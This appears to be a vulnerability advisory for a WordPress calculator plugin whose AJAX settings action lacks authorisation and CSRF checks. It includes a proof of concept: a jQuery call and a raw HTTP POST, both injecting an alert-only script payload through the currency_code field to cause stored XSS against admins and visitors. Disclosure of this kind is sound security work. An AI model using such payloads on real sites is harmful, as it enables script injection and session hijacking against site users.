The plugin does not have any authorisation and CSRF checks on some of its AJAX actions (available to authenticated users), which could allow any authenticated users, such as subscriber to call them, and perform Stored Cross-Site Scripting attacks against logged in admin, as well as frontend users due to the lack of sanitisation and escaping in some parameters
As a subscriber: jQuery.post(ajaxurl,{ action:"sccSaveSettings", // This can XSS any page that uses the plugin's shortcode currency_code:"EUR</script><script>alert(/XSS/)</script>", currency_text:"Euro", currency_style:"default"}) POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 136 Connection: close Cookie: [any authenticated user] action=sccSaveSettings¤cy_code=EUR%3C%2Fscript%3E%3Cscript%3Ealert(/XSS/)%3C%2Fscript%3E¤cy_text=Euro¤cy_style=default The XSS will be triggered when an admin will create/edit a Calculator, or when any user view a calculator embed in a page
apple502j
apple502j
Yes
2021-11-01 (about 1 years ago)
2021-11-01 (about 1 years ago)
2022-04-09 (about 9 months ago)